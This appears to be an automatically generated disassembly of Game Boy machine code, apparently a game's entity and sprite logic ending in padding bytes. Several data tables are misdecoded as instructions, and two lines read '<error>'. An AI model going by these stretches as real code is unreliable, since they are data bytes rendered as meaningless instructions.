jr z, 0.l_724b
ld hl, $7220
add hl, de
ld a, [hl]
call func_3b87
ret
add hl, bc
add hl, bc
ld a, [bc]
ld a, [bc]
dec bc
dec bc
dec bc
dec bc
dec bc
dec bc
dec bc
dec bc
ld a, [bc]
ld a, [bc]
add hl, bc
add hl, bc
add hl, bc
add hl, bc
add hl, bc
add hl, bc
add hl, bc
add hl, bc
add hl, bc
add hl, bc
inc c
inc c
dec c
dec c
ld c, $0e
ld c, $0e
ld c, $0e
ld c, $0e
dec c
dec c
inc c
inc c
inc c
inc c
inc c
inc c
inc c
inc c
inc c
inc c
jr 0.l_725b
inc b
inc c
call func_0891
jp z, $7459
ld e, a
cp $20
jr nz, 0.l_7294
ld a, $16
ldh [$ff00 + $f3], a
ld a, e
rr a
rr a
and $1f
ld e, a
ld d, b
ld hl, $c380
add hl, bc
ld a, [hl]
and a
ld hl, $7251
jr z, 0.l_72a9
ld hl, $7269
add hl, de
ld a, [hl]
call func_3b87
cp $0b
jr z, 0.l_72b7
cp $0e
jp nz, .l_7347
ldh a, [$ff00 + $9e]
and $02
jp z, .l_7347
ld a, [$c1a6]
and a
jp z, .l_7347
dec a
ld [$d202], a
ld e, a
ld d, b
ld hl, $c280
add hl, de
ld a, [hl]
and a
jr z, 0.l_7347
ld hl, $c3a0
add hl, de
ld a, [hl]
cp $03
jr nz, 0.l_7347
ld hl, $c200
add hl, de
ldh a, [$ff00 + $ee]
sub a, [hl]
add a, $08
cp $10
jr nc, 0.l_7347
ld hl, $c210
add hl, de
ldh a, [$ff00 + $ec]
sub a, [hl]
add a, $0c
cp $18
jr nc, 0.l_7347
ld a, [$d203]
inc a
ld [$d203], a
cp $04
jr c, 0.l_7337
call func_27ed
and $01
jr nz, 0.l_7337
ld hl, $c2b0
add hl, bc
ld [hl], $02
call func_0887
ld [hl], $30
ld hl, $c300
add hl, bc
ld [hl], $20
ld hl, $c380
add hl, bc
ld e, [hl]
ld d, b
ld hl, $7281
add hl, de
ld a, [hl]
ld hl, $c250
add hl, bc
ld [hl], a
ld hl, $7283
add hl, de
ld a, [hl]
ld hl, $c290
add hl, bc
ld [hl], a
call func_76a1
ret
call func_3b8d
ld a, [$d201]
ld e, a
ld d, b
ld hl, $c390
add hl, de
ld a, [hl]
cpl
inc a
ld [hl], a
ret
call func_78d2
ld a, $01
ld [$d200], a
ld a, [$d202]
ld e, a
ld d, b
ld hl, $c280
add hl, de
ld a, [hl]
and a
jr z, 0.l_739c
ld a, [$dbc7]
and a
jr nz, 0.l_739c
ld hl, $c210
add hl, de
ld a, [hl]
ld hl, $c210
add hl, bc
ld [hl], a
ld a, [$d201]
ld e, a
ld d, b
ld hl, $c2d0
add hl, de
ld a, [hl]
cp $00
jr z, 0.l_7382
ldh a, [$ff00 + $e7]
and $03
jr nz, 0.l_7382
dec [hl]
ldh a, [$ff00 + $e7]
and $07
jr nz, 0.l_738c
ld a, $29
ldh [$ff00 + $f2], a
ld hl, $c380
add hl, bc
ld a, [hl]
and a
ld a, $00
jr z, 0.l_7398
ld a, $01
call func_3b87
ret
call func_3b8d
call func_0891
ld [hl], $5f
ret
stop
stop
inc c
ld [$0304], sp
ld [bc], a
ld bc, $0101
ld bc, $0101
ld bc, $0101
ld bc, $0101
ld bc, $0101
ld bc, $0301
rr a
rr a
ccf
ccf
ccf
ccf
ccf
ccf
ccf
ccf
ccf
ccf
ccf
ccf
ccf
ccf
ccf
ccf
ccf
ccf
ccf
ccf
ccf
call func_78d2
ld a, $01
ld [$d200], a
ld hl, $c380
add hl, bc
ld a, [hl]
and a
ld a, $08
jr z, 0.l_73e9
ld a, $0f
call func_3b87
ldh a, [$ff00 + $98]
push af
ld hl, $c2c0
add hl, bc
ld a, [hl]
ldh [$ff00 + $98], a
ldh a, [$ff00 + $99]
push af
ld hl, $c2d0
add hl, bc
ld a, [hl]
ldh [$ff00 + $99], a
call func_0891
rr a
rr a
and $3f
ld e, a
ld d, b
ld hl, $73a5
add hl, de
ld a, [hl]
call func_3c30
ldh a, [$ff00 + $d8]
ld hl, $c240
add hl, bc
ld [hl], a
ldh a, [$ff00 + $d7]
ld hl, $c250
add hl, bc
ld [hl], a
call func_79d1
ldh a, [$ff00 + $99]
ld hl, $ffec
sub a, [hl]
add a, $03
cp $06
jr nc, 0.l_7431
call func_7459
pop af
ldh [$ff00 + $99], a
pop af
ldh [$ff00 + $98], a
call func_0891
rr a
rr a
and $3f
ld e, a
ld d, b
ld hl, $73bd
add hl, de
ldh a, [$ff00 + $e7]
and [hl]
jr nz, 0.l_7458
ld a, [$d201]
ld e, a
ld d, b
ld hl, $c2d0
add hl, de
ld a, [hl]
cp $04
jr z, 0.l_7458
inc [hl]
ret
xor a
ld [$d200], a
jp $7a6b
call func_78d2
call func_0891
jp z, $74ad
ld hl, $c420
add hl, bc
ld [hl], a
cp $80
jr nc, 0.l_7475
call func_7476
ret
and $07
jr nz, 0.l_7497
call func_27ed
and $1f
sub a, $10
ld e, a
ld hl, $ffee
add a, [hl]
ld [hl], a
call func_27ed
and $1f
sub a, $10
ld e, a
ld hl, $ffec
add a, [hl]
ld [hl], a
call func_7498
ret
call func_796b
ldh a, [$ff00 + $ee]
ldh [$ff00 + $d7], a
ldh a, [$ff00 + $ec]
ldh [$ff00 + $d8], a
ld a, $02
call func_0953
ld a, $13
ldh [$ff00 + $f4], a
ret
ld a, $36
call func_3c01
jr 0.l_74c1
ld a, $36
call func_3c01
ld a, $48
ldh [$ff00 + $d7], a
ld a, $10
ldh [$ff00 + $d8], a
ldh a, [$ff00 + $d8]
ld hl, $c210
add hl, de
ld [hl], a
ldh a, [$ff00 + $d7]
ld hl, $c200
add hl, de
ld [hl], a
ldh a, [$ff00 + $f9]
and a
jr z, 0.l_74dc
ld hl, $c250
add hl, bc
ld [hl], $f0
jr 0.l_74e8
ld hl, $c320
add hl, de
ld [hl], $10
ld hl, $c310
add hl, de
ld [hl], $08
call func_7a6b
ld hl, $fff4
ld [hl], $1a
ret
inc bc
dec b
nop
inc b
ld [bc], a
ld b, $01
rlc a
call func_7597
call func_3dba
call func_7965
ld a, $01
ld [$d200], a
call func_0887
cp $10
jr nc, 0.l_7549
and a
jr nz, 0.l_7541
ld a, [$d201]
ld e, a
ld d, b
ld hl, $c2f0
add hl, de
ld [hl], $1f
ld a, $02
call func_3c01
call func_08d7
ldh a, [$ff00 + $d7]
ld hl, $c200
add hl, de
ld [hl], a
ldh a, [$ff00 + $d8]
ld hl, $c210
add hl, de
ld [hl], a
ld hl, $c2e0
add hl, de
ld [hl], $17
ld hl, $c440
add hl, de
ld [hl], $01
jp $7459
ldh a, [$ff00 + $e7]
ld hl, $c420
add hl, bc
ld [hl], a
ret
ldh a, [$ff00 + $e7]
and $07
jr nz, 0.l_755d
ld a, [$d201]
ld e, a
ld d, b
ld hl, $c2d0
add hl, de
ld a, [hl]
and a
jr z, 0.l_755d
dec [hl]
ld hl, $c3d0
add hl, bc
ld a, [hl]
inc a
and $7f
ld [hl], a
ld e, a
ld d, b
ld hl, $d000
add hl, de
ldh a, [$ff00 + $ee]
ld [hl], a
ld hl, $d100
add hl, de
ldh a, [$ff00 + $ec]
ld [hl], a
ld hl, $c300
add hl, bc
ld a, [hl]
and a
jr z, 0.l_7583
call func_79d1
jr 0.l_7586
call func_762c
ld hl, $c290
add hl, bc
ld e, [hl]
srl e
ld d, b
ld hl, $74f1
add hl, de
ld a, [hl]
call func_3b87
ret
ldh a, [$ff00 + $f1]
rl a
rl a
rl a
rl a
rl a
and $e0
ld e, a
ld d, b
ld hl, $76ac
add hl, de
ld c, $08
call func_3d26
ld a, $08
call func_3dd0
ld hl, $c3d0
add hl, bc
ld a, [hl]
ldh [$ff00 + $d7], a
ldh a, [$ff00 + $d7]
sub a, $0c
and $7f
ld e, a
ld d, b
ld hl, $d000
add hl, de
ld a, [hl]
ldh [$ff00 + $ee], a
ld hl, $d100
add hl, de
ld a, [hl]
ldh [$ff00 + $ec], a
ld a, $00
ldh [$ff00 + $f1], a
ld de, $71ec
call func_3c3b
ldh a, [$ff00 + $d7]
sub a, $18
and $7f
ld e, a
ld d, b
ld hl, $d000
add hl, de
ld a, [hl]
ldh [$ff00 + $ee], a
ld hl, $d100
add hl, de
ld a, [hl]
ldh [$ff00 + $ec], a
ld a, $00
ldh [$ff00 + $f1], a
ld de, $71ec
call func_3c3b
ldh a, [$ff00 + $d7]
sub a, $24
and $7f
ld e, a
ld d, b
ld hl, $d000
add hl, de
ld a, [hl]
ldh [$ff00 + $ee], a
ld hl, $d100
add hl, de
ld a, [hl]
ldh [$ff00 + $ec], a
ld a, $02
ldh [$ff00 + $f1], a
ld de, $71ec
call func_3c3b
ret
nop
ld b, $0c
ld c, $10
ld c, $0c
ld b, $00
ld a, [$f2f4]
ldh a, [$ff00 + $f2]
<error>
ld a, [$0600]
inc c
ld c, $cd
pop de
ld a, c
call func_3bbf
call func_3b9e
ld hl, $c2a0
add hl, bc
ld a, [hl]
and a
jr z, 0.l_765a
call func_27ed
rr a
jr c, 0.l_764b
ld hl, $c2c0
add hl, bc
ld a, [hl]
cpl
inc a
ld [hl], a
ld hl, $c290
add hl, bc
ld a, [hl]
add a, $08
and $0f
ld [hl], a
call func_0891
ld [hl], $10
call func_088c
jr nz, 0.l_7688
ld [hl], $04
ld hl, $c2c0
add hl, bc
ld a, [hl]
ld hl, $c290
add hl, bc
add a, [hl]
and $0f
ld [hl], a
ld hl, $c290
add hl, bc
ld e, [hl]
ld d, b
ld hl, $7618
add hl, de
ld a, [hl]
ld hl, $c250
add hl, bc
ld [hl], a
ld hl, $761c
add hl, de
ld a, [hl]
ld hl, $c240
add hl, bc
ld [hl], a
call func_0891
jr nz, 0.l_76a0
call func_27ed
and $1f
add a, $10
ld [hl], a
call func_27ed
and $02
dec a
ld hl, $c2c0
add hl, bc
ld [hl], a
ret
ld e, $80
ld hl, $d100
xor a
ldi [hl], a
dec e
jr nz, 0.l_76a6
ret
ldhl sp, d
ldhl sp, d
ld h, b
nop
ldhl sp, d
nop
ld h, d
nop
ldhl sp, d
ld [$2062], sp
ldhl sp, d
stop
ld h, b
jr nz, 0.l_76c5
ldhl sp, d
ld h, h
nop
ld [$6600], sp
nop
ld [$6608], sp
jr nz, 0.l_76d1
stop
ld h, h
jr nz, 0.l_76c5
ldhl sp, d
ld h, h
ld b, b
ldhl sp, d
nop
ld h, [hl]
ld b, b
ldhl sp, d
ld [$6066], sp
ldhl sp, d
stop
ld h, h
ld h, b
ld [$60f8], sp
ld b, b
ld [$6200], sp
ld b, b
ld [$6208], sp
ld h, b
ld [$6010], sp
ld h, b
ldhl sp, d
ldhl sp, d
ld l, b
nop
ldhl sp, d
nop
ld l, d
nop
ldhl sp, d
ld [$2062], sp
ldhl sp, d
stop
ld h, b
jr nz, 0.l_7705
ldhl sp, d
ld l, b
ld b, b
ld [$6a00], sp
ld b, b
ld [$6208], sp
ld h, b
ld [$6010], sp
ld h, b
ldhl sp, d
ldhl sp, d
ld h, b
nop
ldhl sp, d
nop
ld h, d
nop
ldhl sp, d
ld [$206a], sp
ldhl sp, d
stop
ld l, b
jr nz, 0.l_7725
ldhl sp, d
ld h, b
ld b, b
ld [$6200], sp
ld b, b
ld [$6a08], sp
ld h, b
ld [$6810], sp
ld h, b
ldhl sp, d
ldhl sp, d
ld h, b
nop
ldhl sp, d
nop
ld h, d
nop
ldhl sp, d
ld [$2062], sp
ldhl sp, d
stop
ld h, b
jr nz, 0.l_7745
ldhl sp, d
ld l, h
nop
ld [$6e00], sp
nop
ld [$6208], sp
ld h, b
ld [$6010], sp
ld h, b
ldhl sp, d
ldhl sp, d
ld h, b
nop
ldhl sp, d
nop
ld h, d
nop
ldhl sp, d
ld [$2062], sp
ldhl sp, d
stop
ld h, b
jr nz, 0.l_7765
ldhl sp, d
ld h, b
ld b, b
ld [$6200], sp
ld b, b
ld [$6e08], sp
jr nz, 0.l_7771
stop
ld l, h
jr nz, 0.l_7765
ldhl sp, d
ld l, h
ld b, b
ldhl sp, d
nop
ld l, [hl]
ld b, b
ldhl sp, d
ld [$2062], sp
ldhl sp, d
stop
ld h, b
jr nz, 0.l_7785
ldhl sp, d
ld h, b
ld b, b
ld [$6200], sp
ld b, b
ld [$6208], sp
ld h, b
ld [$6010], sp
ld h, b
ldhl sp, d
ldhl sp, d
ld h, b
nop
ldhl sp, d
nop
ld h, d
nop
ldhl sp, d
ld [$606e], sp
ldhl sp, d
stop
ld l, h
ld h, b
ld [$60f8], sp
ld b, b
ld [$6200], sp
ld b, b
ld [$6208], sp
ld h, b
ld [$6010], sp
ld h, b
ldhl sp, d
ldhl sp, d
ld h, b
nop
ldhl sp, d
nop
ld h, d
nop
ldhl sp, d
ld [$2062], sp
ldhl sp, d
stop
ld h, b
jr nz, 0.l_77c5
ldhl sp, d
ld a, b
nop
ld [$7a00], sp
nop
ld [$7a08], sp
jr nz, 0.l_77d1
stop
ld a, b
jr nz, 0.l_77d5
nop
halt
nop
ld [$7608], sp
jr nz, 0.l_77dd
ld [$2076], sp
ld [$7608], sp
jr nz, 0.l_77e5
ld [$2076], sp
ld [$7608], sp
jr nz, 0.l_77ed
ld [$2076], sp
ld [$7608], sp
jr nz, 0.l_77f5
ldhl sp, d
ld h, h
nop
ld [$6600], sp
nop
ld [$6608], sp
jr nz, 0.l_7801
stop
ld h, h
jr nz, 0.l_7805
ldhl sp, d
ld h, h
nop
ld [$6600], sp
nop
ld [$6608], sp
jr nz, 0.l_7811
stop
ld h, h
jr nz, 0.l_7815
ldhl sp, d
ld a, b
nop
ld [$7a00], sp
nop
ld [$7a08], sp
jr nz, 0.l_7821
stop
ld a, b
jr nz, 0.l_7825
ldhl sp, d
ld a, b
nop
ld [$7a00], sp
nop
ld [$7a08], sp
jr nz, 0.l_7831
stop
ld a, b
jr nz, 0.l_7825
nop
halt
ld b, b
ldhl sp, d
ld [$6076], sp
ldhl sp, d
ld [$6076], sp
ldhl sp, d
ld [$6076], sp
ldhl sp, d
ld [$6076], sp
ldhl sp, d
ld [$6076], sp
ldhl sp, d
ld [$6076], sp
ldhl sp, d
ld [$6076], sp
ldhl sp, d
ldhl sp, d
ld h, h
ld b, b
ldhl sp, d
nop
ld h, [hl]
ld b, b
ldhl sp, d
ld [$6066], sp
ldhl sp, d
stop
ld h, h
ld h, b
ldhl sp, d
ldhl sp, d
ld h, h
ld b, b
ldhl sp, d
nop
ld h, [hl]
ld b, b
ldhl sp, d
ld [$6066], sp
ldhl sp, d
stop
ld h, h
ld h, b
ldhl sp, d
ldhl sp, d
ld a, b
ld b, b
ldhl sp, d
nop
ld a, d
ld b, b
ldhl sp, d
ld [$607a], sp
ldhl sp, d
stop
ld a, b
ld h, b
ldhl sp, d
ldhl sp, d
ld a, b
ld b, b
ldhl sp, d
nop
ld a, d
ld b, b
ldhl sp, d
ld [$607a], sp
ldhl sp, d
stop
ld a, b
ld h, b
ld [$60f8], sp
ld b, b
ld [$6200], sp
ld b, b
ld [$6208], sp
ld h, b
ld [$6010], sp
ld h, b
ldhl sp, d
ldhl sp, d
ld a, b
ld b, b
ldhl sp, d
nop
ld a, d
ld b, b
ldhl sp, d
ld [$607a], sp
ldhl sp, d
stop
ld a, b
ld h, b
ldh a, [$ff00 + $f1]
ld d, b
rl a
rl d
rl a
rl d
rl a
rl d
rl a
rl d
rl a
rl d
and $e0
ld e, a
ld hl, $76ac
add hl, de
ld c, $08
call func_3d26
ld a, $08
call func_3dd0
ret
<error>
ld c, $f0
rst 20
and $10
ld a, $03
jr z, 0.l_78db
inc a
ldh [$ff00 + $f1], a
nop
ld hl, $c380
add hl, bc
ld e, [hl]
ld d, b
ld hl, $78d0
add hl, de
ld a, [hl]
ld hl, $ffec
add a, [hl]
ld [hl], a
cp $14
jr c, 0.l_794a
cp $7c
jr nc, 0.l_794a
ld de, $71ec
call func_3c3b
ldh a, [$ff00 + $f0]
cp $04
jr nc, 0.l_7948
ldh a, [$ff00 + $f1]
and a
jr z, 0.l_7945
xor a
ldh [$ff00 + $f1], a
call func_3beb
ld hl, $c420
add hl, bc
ld a, [hl]
cp $16
jr nz, 0.l_7945
ld hl, $d204
inc [hl]
ld a, [hl]
cp $08
jr nz, 0.l_7945
ld a, [$d201]
ld e, a
ld d, b
ld hl, $c280
add hl, de
ld [hl], b
call func_3b8d
ld [hl], $04
call func_0891
ld [hl], $ff
call func_27d2
ld a, $03
ld [$c5a7], a
ld a, $5e
ld [$d368], a
ld a, $b5
call func_2197
call func_3bbf
jr 0.l_78de
call func_3dba
ld hl, $c420
add hl, bc
ld a, [hl]
and a
jr nz, 0.l_7964
ld hl, $c430
add hl, bc
ld [hl], $c0
call func_3beb
ld hl, $c430
add hl, bc
ld [hl], $80
ret
ldh a, [$ff00 + $ea]
cp $05
jr nz, 0.l_7985
ld a, [$db95]
cp $07
jr z, 0.l_7985
ld hl, $c1a8
ld a, [$c19f]
or [hl]
ld hl, $c14f
or [hl]
jr nz, 0.l_7985
ld a, [$c124]
and a
jr z, 0.l_7986
pop af
ret
ld hl, $c410
add hl, bc
ld a, [hl]
and a
jr z, 0.l_79d0
dec a
ld [hl], a
call func_3eb8
ld hl, $c240
add hl, bc
ld a, [hl]
push af
ld hl, $c250
add hl, bc
ld a, [hl]
push af
ld hl, $c3f0
add hl, bc
ld a, [hl]
ld hl, $c240
add hl, bc
ld [hl], a
ld hl, $c400
add hl, bc
ld a, [hl]
ld hl, $c250
add hl, bc
ld [hl], a
call func_79d1
ld hl, $c430
add hl, bc
ld a, [hl]
and $20
jr nz, 0.l_79c3
call func_3b9e
ld hl, $c250
add hl, bc
pop af
ld [hl], a
ld hl, $c240
add hl, bc
pop af
ld [hl], a
pop af
ret
call func_79de
push bc
ld a, c
add a, $10
ld c, a
call func_79de
pop bc
ret
ld hl, $c240
add hl, bc
ld a, [hl]
and a
jr z, 0.l_7a09
push af
swap a
and $f0
ld hl, $c260
add hl, bc
add a, [hl]
ld [hl], a
rl d
ld hl, $c200
add hl, bc
pop af
ld e, $00
bit 7, a
jr z, 0.l_7a00
ld e, $f0
swap a
and $0f
or e
rr d
adc a, [hl]
ld [hl], a
ret
ld hl, $c320
add hl, bc
ld a, [hl]
and a
jr z, 0.l_7a09
push af
swap a
and $f0
ld hl, $c330
add hl, bc
add a, [hl]
ld [hl], a
rl d
ld hl, $c310
jr 0.l_79f6
ld e, $00
ldh a, [$ff00 + $98]
ld hl, $c200
add hl, bc
sub a, [hl]
bit 7, a
jr z, 0.l_7a32
inc e
ld d, a
ret
ld e, $02
ldh a, [$ff00 + $99]
ld hl, $c210
add hl, bc
sub a, [hl]
bit 7, a
jr nz, 0.l_7a42
inc e
ld d, a
ret
call func_7a24
ld a, e
ldh [$ff00 + $d7], a
ld a, d
bit 7, a
jr z, 0.l_7a51
cpl
inc a
push af
call func_7a34
ld a, e
ldh [$ff00 + $d8], a
ld a, d
bit 7, a
jr z, 0.l_7a5f
cpl
inc a
pop de
cp d
jr nc, 0.l_7a67
ldh a, [$ff00 + $d7]
jr 0.l_7a69
ldh a, [$ff00 + $d8]
ld e, a
ret
ld hl, $c280
add hl, bc
ld [hl], b
ret
stop
ldh a, [$ff00 + $18]
add sp, d
nop
ldh a, [$ff00 + $64]
nop
nop
ldhl sp, d
ld h, [hl]
nop
nop
nop
ld h, b
nop
nop
ld [$2060], sp
nop
stop
ld l, d
jr nz, 0.l_7a8a
jr 0.l_7af4
jr nz, 0.l_7a8e
ldh a, [$ff00 + $6c]
nop
nop
ldhl sp, d
ld l, [hl]
nop
nop
nop
ld h, b
nop
nop
ld [$2060], sp
nop
stop
ld l, [hl]
jr nz, 0.l_7aa2
jr 0.l_7b10
jr nz, 0.l_7aa6
ldh a, [$ff00 + $68]
nop
nop
ldhl sp, d
ld l, d
nop
nop
nop
ld h, b
nop
nop
ld [$2060], sp
nop
stop
ld h, [hl]
jr nz, 0.l_7aba
jr 0.l_7b20
jr nz, 0.l_7abe
ldh a, [$ff00 + $64]
nop
nop
ldhl sp, d
ld h, [hl]
nop
nop
nop
ld h, d
nop
nop
ld [$2062], sp
nop
stop
ld l, d
jr nz, 0.l_7ad2
jr 0.l_7b3c
jr nz, 0.l_7ad6
ldh a, [$ff00 + $6c]
nop
nop
ldhl sp, d
ld l, [hl]
nop
nop
nop
ld h, d
nop
nop
ld [$2062], sp
nop
stop
ld l, [hl]
jr nz, 0.l_7aea
jr 0.l_7b58
jr nz, 0.l_7aee
ldh a, [$ff00 + $68]
nop
nop
ldhl sp, d
ld l, d
nop
nop
nop
ld h, d
nop
nop
ld [$2062], sp
nop
stop
ld h, [hl]
jr nz, 0.l_7b02
jr 0.l_7b68
jr nz, 0.l_7b00
ld h, [hl]
pop bc
cp $01
jr nz, 0.l_7b16
call func_7bf5
ld hl, $c290
add hl, bc
ld a, [hl]
ldh [$ff00 + $f0], a
ldh a, [$ff00 + $f1]
rl a
rl a
rl a
and $f8
ld c, a
rl a
and $f0
add a, c
ld e, a
ld d, b
ld hl, $7a75
add hl, de
ld c, $06
call func_3d26
ld a, $06
call func_3dd0
ldh a, [$ff00 + $ea]
cp $05
jp nz, .l_7d8d
call func_7965
call func_3f12
call func_3bb4
call func_79d1
call func_3b9e
call func_08e2
ldh a, [$ff00 + $f0]
rst 0
ld d, [hl]
ld a, e
ld [hl], d
ld a, e
add a, e
ld a, h
dec hl
ld a, l
call func_27ed
and $01
ld hl, $c2b0
add hl, bc
ld [hl], a
ld e, a
ld d, b
ld hl, $7a71
add hl, de
ld a, [hl]
ld hl, $c240
add hl, bc
ld [hl], a
call func_3b8d
ld [hl], $01
ret
ld hl, $c300
add hl, bc
ld a, [hl]
and a
ret nz
call func_088c
jp nz, .l_7c09
call func_0891
jr z, 0.l_7ba9
cp $01
jr nz, 0.l_7bbc
call func_7a24
ld d, b
ld hl, $7a73
add hl, de
ld a, [hl]
ld hl, $c240
add hl, bc
ld [hl], a
ld hl, $c250
add hl, bc
ld [hl], b
call func_088c
call func_27ed
and $3f
add a, $60
ld [hl], a
jp .l_7c09
ld hl, $c210
add hl, bc
ld a, [hl]
add a, $08
ld hl, $ff99
cp [hl]
jp c, .l_7bd3
call func_0891
ld [hl], $60
ld hl, $c250
add hl, bc
ld [hl], b
ld hl, $c240
add hl, bc
and $04
jr nz, 0.l_7bce
ld [hl], $08
jp .l_7c61
ld [hl], $f8
jp .l_7c61
ld hl, $c210
add hl, bc
ldh a, [$ff00 + $99]
sub a, [hl]
cp $28
jr nc, 0.l_7c09
ld hl, $c480
add hl, bc
ld a, [hl]
and a
jr nz, 0.l_7c09
call func_27ed
and $7f
add a, $40
ld [hl], a
and $03
jr z, 0.l_7c42
dec a
jr nz, 0.l_7c09
call func_3b8d
ld [hl], $03
call func_3daf
ld hl, $c300
add hl, bc
ld [hl], $40
ld a, $01
call func_7c80
ret
ld hl, $c2a0
add hl, bc
ld a, [hl]
and $03
jr z, 0.l_7c2a
call func_088c
jr z, 0.l_7c22
ld hl, $c240
add hl, bc
ld a, [hl]
xor $f0
ld [hl], a
jp .l_7c61
ld hl, $c2b0
add hl, bc
ld a, [hl]
xor $01
ld [hl], a
call func_088c
jr nz, 0.l_7c61
ld hl, $c2b0
add hl, bc
ld a, [hl]
ld e, a
ld d, b
ld hl, $7a71
add hl, de
ld a, [hl]
ld hl, $c240
add hl, bc
ld [hl], a
jr 0.l_7c69
call func_0891
ld [hl], $60
call func_088c
ld [hl], b
call func_3b8d
ld [hl], $02
ld hl, $c2b0
add hl, bc
ld [hl], b
ld hl, $c210
add hl, bc
ld a, [hl]
ld hl, $c2d0
add hl, bc
ld [hl], a
jr 0.l_7c69
ldh a, [$ff00 + $e7]
and $07
jr z, 0.l_7c6f
jr 0.l_7c7b
ldh a, [$ff00 + $e7]
and $0f
jr nz, 0.l_7c7b
ld hl, $c3d0
add hl, bc
inc [hl]
ld a, [hl]
cp $03
jr nz, 0.l_7c7b
ld [hl], $00
ld hl, $c3d0
add hl, bc
ld a, [hl]
jp $3b87
ld hl, $c2b0
add hl, bc
ld a, [hl]
and a
jp nz, .l_7cfd
call func_0891
cp $02
jr nc, 0.l_7ced
cp $00
jr z, 0.l_7cc9
ld hl, $ff99
ld a, [hl]
ld hl, $c390
add hl, bc
ld [hl], a
call func_27ed
and $02
jr z, 0.l_7cb3
call func_3daf
ld hl, $c250
add hl, bc
ld [hl], $10
jp .l_7cb8
ld a, $10
call func_3c25
ld hl, $c210
add hl, bc
ld a, [hl]
add a, $08
ld hl, $ff99
cp [hl]
jp nc, .l_7d09
jp .l_7d11
ld hl, $c390
add hl, bc
ld a, [hl]
sub a, $08
ld hl, $c210
add hl, bc
cp [hl]
jp nc, .l_7d11
ld hl, $c2b0
add hl, bc
inc [hl]
call func_3daf
ld hl, $c250
add hl, bc
ld [hl], $f0
ld a, $16
ldh [$ff00 + $f3], a
jp .l_7d11
ld hl, $c240
add hl, bc
and $04
jr nz, 0.l_7cf9
ld [hl], $08
jr 0.l_7d11
ld [hl], $f8
jr 0.l_7d11
ld hl, $c2d0
add hl, bc
ld a, [hl]
ld hl, $c210
add hl, bc
cp [hl]
jr c, 0.l_7d11
call func_3daf
call func_3b8d
ld [hl], $01
ldh a, [$ff00 + $e7]
and $0f
jr nz, 0.l_7d23
ld hl, $c3d0
add hl, bc
inc [hl]
ld a, [hl]
cp $03
jr nz, 0.l_7d23
ld [hl], $00
ld hl, $c3d0
add hl, bc
ld a, [hl]
jp $3b87
ld hl, $c300
add hl, bc
ld a, [hl]
and a
jr z, 0.l_7d34
ret
call func_088c
cp $02
jr nc, 0.l_7d5b
cp $00
jr z, 0.l_7d56
ld hl, $c350
add hl, bc
ld [hl], $80
ld a, $01
call func_3b87
call func_3b8d
ld [hl], $01
ld hl, $c300
add hl, bc
ld [hl], $40
ret
call func_088c
ld [hl], $30
cp $18
jr nz, 0.l_7d82
ld a, $7d
call func_3c01
jr c, 0.l_7d82
ldh a, [$ff00 + $d7]
ld hl, $c200
add hl, de
ld [hl], a
ldh a, [$ff00 + $d8]
ld hl, $c210
add hl, de
ld [hl], a
ld hl, $c2b0
add hl, de
inc [hl]
push bc
push de
pop bc
ld a, $18
call func_3c25
pop bc
ld hl, $c350
add hl, bc
ld [hl], $00
ld a, $04
jp $3b87
ld hl, $c2c0
add hl, bc
ld a, [hl]
rst 0
sbc a, c
ld a, l
xor d
ld a, l
cp e
ld a, l
call func_0891
ld [hl], $a0
ld hl, $c420
add hl, bc
ld [hl], $ff
ld hl, $c2c0
add hl, bc
inc [hl]
ret
call func_0891
jr nz, 0.l_7dba
ld [hl], $c0
ld hl, $c420
add hl, bc
ld [hl], $ff
call func_7da4
ret
call func_0891
jr nz, 0.l_7df8
ld a, $1a
ldh [$ff00 + $f4], a
ldh a, [$ff00 + $eb]
cp $63
jp z, .l_74b4
call func_3f7a
ld e, $0f
ld d, b
ld hl, $c280
add hl, de
ld a, [hl]
and a
jr z, 0.l_7de2
ld hl, $c430
add hl, de
ld a, [hl]
and $80
jr nz, 0.l_7df0
dec e
ld a, e
cp $ff
jr nz, 0.l_7dd1
xor a
ld [$c1cf], a
call func_27bd
ret
ldh a, [$ff00 + $f7]
cp $05
ret nc
jp .l_7dfc
call func_7476
ret
ldh a, [$ff00 + $f6]
ld e, a
ld d, b
ldh a, [$ff00 + $f7]
cp $1a
jr nc, 0.l_7e0b
cp $06
jr c, 0.l_7e0b
inc d
ld hl, $d900
add hl, de
set 5, [hl]
ret
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
